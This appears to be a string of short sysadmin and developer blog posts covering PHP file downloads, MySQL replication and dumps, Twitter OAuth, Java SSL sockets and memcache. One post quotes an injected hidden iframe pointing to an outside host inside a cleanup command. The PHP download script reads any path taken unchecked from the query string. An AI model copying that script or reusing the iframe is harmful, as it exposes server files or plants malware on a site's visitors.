However, I’ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file.

step 1 – create a php function to download a file

<?php
 
$filename = $_GET['filename'];
$path = $_SERVER['DOCUMENT_ROOT'] . "/$filename";
if ($fd = fopen($path, "r")) 
{
    $fsize = filesize($path);
    header("Cache-Control: no-cache, must-revalidate"); 
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); 
    header("Content-type: application/octet-stream");
    header("Content-Disposition: filename=\"" . $filename . "\"");
    header("Content-length: $fsize");
    header("Cache-control: private"); //use this to open files directly
    while (!feof($fd)) 
    {
        $buffer = fread($fd, 2048);
        echo $buffer;
    }
}
fclose($fd);
?>

step 2 – rewrite urls so that when requesting /some_file.rar, it redirects to the php app as defined

Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.+)\.rar$ ./getfile.php?filename=$1.rar [NC]

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heres how I cleaned it

find ./ type f -exec sed -i 's/<iframe src="http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2" width="1" height="1" frameborder="0"><\/iframe>//g' {} \;

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• Wallbase – Wallpapers
• Simplynoise – Noise Cancelation
• Grooveshark – Music
• RainyMood – Noise Cancelation
• Lifehacker – Tips/tricks for everyday
• Zamzar – Online file conversion
• Qwiki – Transcribed audio/images into a video from any wiki article
• Tinyurl – URL Shortener
• L-Mail – Send letters online
• WolframAlpha – Computational knowledge engine
• LMGTFY – Teach people to google their problems
• Ninite – Fast way to update/install software
• WhatTheFont – Match fonts
• Tineye – Reverse image search
• Warbeats – Improve your beatmaking skills
• Iconspedia – Icon resource
• Openbook – Search public facebook statuses
• Lizardpoint – Learn geography
• ThinkingAllowed – Thought-provoking videos
• TED – Ideas worth spreading
• KhanAcademy – Science/Math tutorials
• HowStuffWorks – Fucking magnets
• The Lottery of Life – Birth Lottery
• CH131 – Online TV streams
• Suprbay – Torrent discussion/resources
• Sleepyti.me – Sleep calculator
• Liveleak – Uncensored video
• Whosampled – Find music samples
• Tastekid – Find related TV, Music, Movies, Books, etc
• BodyBuilding – Fitness
• Al Jazeera English Live – Reputable news source, 24/7 stream
• DI.fm – HQ Electronic Radio Resource
• Live365 – Online radio
• BugMeNot – Find/Share login/passwords to avoid signing up
• StudyBlue – Create flashcards to study
• mp3cut – Cut mp3s online
• WhatIsMyIp – Find your IP address
• W3Schools – Learn web programming
• Boston.com – The Big Picture – Amazing photo galleries
• PopURLs – Feed from top stories of news aggregators
• Scribd – Text hosting
• Last.fm – Your listening history/find related artists
• RetailMeNot – Coupons
• Mailinator – Disposable email account
• PrintFriendly – Make webpages printfriendly
• AddictiveTips – Tech Tips
• EasyBib – Bibliography/Citation Maker
• Userscripts – Customize your browser
• Pipl – Web people search
• ReadPrint – Online books
• Cramster – Homework help
• ShadyURL – Create alternative “shady” urls
• DownForEveryoneOrJustMe – Is google.com down?
• DaFont – Font database
• StereoMood – Listen to music depending on emotion
• Kapersky – Online virus scanner
• XtraNormal – If you can type, you can make a movie
• Lipsum – Create filler text
• CoolUtils Image Converter – Resize images for avatars
• Dropbox – Easy file hosting
• DepositFiles – Another file hosting resource
• TheFinalCost – Calculate Shipping totals
• WhatTheFuckShouldIMakeForDinner – Fucking hungry?
• Imgur – Best image hosting
• showRSS – Automatically torrent your favorite show soon as it’s available
• Google Torrent Search – Only display torrents with google search
• ThisSongIsSick – New music (hiphop/electronic mostly)
• TrackItDown – Latest in electronic music
• TopDocumentaryFilms – Watch free documentaries online

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mysql> SHOW SLAVE STATUS\G

error ‘Duplicate entry ’4534534′ for key 1′ on query ‘ INSERT INTO customer_history (DateStamp) VALUES (NOW())

solution :

mysql> set global sql_slave_skip_counter = 1;
Query OK, 0 rows affected (0.01 sec)

mysql> slave start;
Query OK, 0 rows affected (0.00 sec)

This will skip the error and continue replicating from the master

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To compress mysqldump output :

mysqldump -uroot -psome_password db_name| gzip -c > db_name.gz

or alternatively, to compress it to a file on another host

mysqldump -uroot -psome_password dbname | gzip -c | ssh user@host -p22 'cat > /root/db_name.sql.gz'

To restore a database from a compressed file

gunzip < db_name.gz | mysql -uroot -psome_password db_name

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Twitter API uses OAUTH, so its a little tricky, but not wildly complex – anyone with basic PHP knowledge should be able to implement it

Heres how to do it

* go to dev.twitter.com – sign in with the username you want to send notifications from
* click on “Register an app”
* Fill in the fields – dont worry about a callback url – we wont be using it
* change access type to “Read & Write”
* once you have completed the registration, click “view your applications” on the right hand side
* click “edit details”
* click “application detail” on the right
* copy “consumer key” and “consumer secret”
* click on “My access token”
* copy “Access token” and “Access token secret”

Ok – now we have all the info needed to start.

For the twitter integration we will use Abraham Twitter OAuth library

The only 2 files you need are “twitteroauth/OAuth.php” and “twitteroauth/twitteroauth.php”. Stick these wherever you want. For purposes of this demo, I’m putting them in the same folder as my index.php

<?php
require_once 'TwitterOAuth.php';
 
$CONSUMER_KEY = "????";
$CONSUMER_SECRET = "????";
$OAUTH_TOKEN = "????";
$OAUTH_SECRET = "????";
 
//create connection
$connection = new TwitterOAuth($CONSUMER_KEY, $CONSUMER_SECRET, $OAUTH_TOKEN, $OAUTH_SECRET);
//verify account
$content = $connection->get('account/verify_credentials');
//post status update
$connection->post('statuses/update', array('status' => "My first status update via twitter"));
//mention someone
$connection->post('statuses/update', array('status' => "@zayinkrige thanks for the blogpost"));
//DM someone
$connection->post('statuses/update', array('status' => "D zayinkrige thanks for the blogpost"));
?>

Thats pretty much all there is to using twitter. For a full list of twitter api functions, visit http://api.twitter.com

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Step 1:
edit /etc/mysql/my.cnf

[mysqld]
innodb_file_per_table

This will only enable file per table. It will not convert your existing innodb tables into files

There are a couple of ways of doing this

1st Method

mysqldump -udbuser -ppassword db_name > outfile.sql
mysql -udbuser -ppassword db_name < outfile.sql

2nd Method – run this sql script for each table in your database

ALTER TABLE tbl_name ENGINE=INNODB;

This means each table is stored in its own file.

Later on, you can look at moving each file to its own hard disk for performance gains

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This is *NOT* for normal web HTTPS traffic.

import java.net.*;
import java.security.*;
 
    private Socket setupSocket()
    {
        try
        {
                String serverIP = "192.168.0.1";
                Integer serverPort = 8880;
                Integer timeOut = 5000;//5000 millisecond timeout
                //get the address and port of the server
                InetAddress addr = InetAddress.getByName(serverIP);
                SocketAddress sockaddr = new InetSocketAddress(addr, serverPort);
                //get a keystore instance 
                KeyStore localKeyStore = KeyStore.getInstance("JKS");
                //password for keystore
                char[] localKeyStorePassword = "keyStorePassword".toCharArray();
                //load the keystore
                localKeyStore.load(new FileInputStream("/var/local/keystore.jks"), localKeyStorePassword);
                //Create the trust manager factory
                TrustManagerFactory tmf = TrustManagerFactory.getInstance("SunX509");
                //point it to the local keystore for certificates
                tmf.init( localKeyStore );
                //create the keymanager
                KeyManagerFactory kmf = KeyManagerFactory.getInstance("SunX509");
                //point it to the local store for certificates
                kmf.init(localKeyStore, localKeyStorePassword);
                //create and initialize a secure random number generator
                SecureRandom secureRandom = new SecureRandom();
                secureRandom.nextInt();  // Force initialisation to occur now.
                //create our sslcontext and set it as type TLS
                SSLContext sslContext = SSLContext.getInstance("TLS");
                //initialize it and tell it where the keystore and truststore are
                sslContext.init(kmf.getKeyManagers(), tmf.getTrustManagers(), secureRandom);
                //create a socket factory from our newly initialized sslContext
                SSLSocketFactory sf = sslContext.getSocketFactory();
                //get a socket from the factory
                SSLSocket skt = (SSLSocket)sf.createSocket();//create the socket but dont connect yet
                //connect to the previously created address/port with a timeout
                skt.connect(sockaddr, timeOut);
                //set the timeout for any comms
                skt.setSoTimeout(timeOut);
                return skt;
        }catch( Exception e )
        {
            return null;
        }
}

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Use at your own peril

$memcache = new Memcache;
$memcache->connect("127.0.0.1");
$sql = "select * from some_huge_table where tx_date <= now()-365 limit 0, 5000";
$key = md5($sql);
$query = $memcache->get($key);
//the query isnt in the cache
if ($query == null)
{
    $query = $this->db->query($sql);
    $query = $query->result();
    //put it in the cache
    $memcache->set($key,$query,0,600);//10 minute expiry
}
if (count($query) > 0)
{
//do something with $query
}

This example loads memcached, looks for a key, and if its not there, stores it. SIMPLE

****UPDATE****

Today while going through CI framework, I realized that CI can do its own query caching, albeit to disk. For more info on CI query caching, look go here

To change this to memcached caching should be a cinch, and indeed, it is. Head over here to see how.

So without having to change a single line of code in your application, you can take full advantage of memcached for caching query results

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I have chosen to use memcached, rather than memcache. Have a look here to view a comparison

First, install the memcached package, php-pear (required for pecl), php5-dev (required for phpize) and libmemcached-dev

sudo apt-get install memcached
sudo apt-get install php-pear
sudo apt-get install php5-dev
sudo apt-get install libmemcached-dev

next, install memcached using pecl

sudo pecl install Memcache

Also, we need to enable the memcache extension on php:

sudo echo "extension=memcache.so" > /etc/php5/apache2/conf.d/memcache.ini

Add the following line to your php.ini file.

memcache.hash_strategy="consistent"

You can add it anywhere in the file.

Next you need to start an instance of memcache, you can start a daemon with the following command:

memcached -d -m 2048 -l 10.0.0.40 -p 11211

If you are only using a single server, then you only need to include this line to your site’s settings.php file.

$conf['cache_inc'] = '/sites/all/modules/memcache/memcache.inc';

The final step is to restart apache and then switch your site back online if it was offline.

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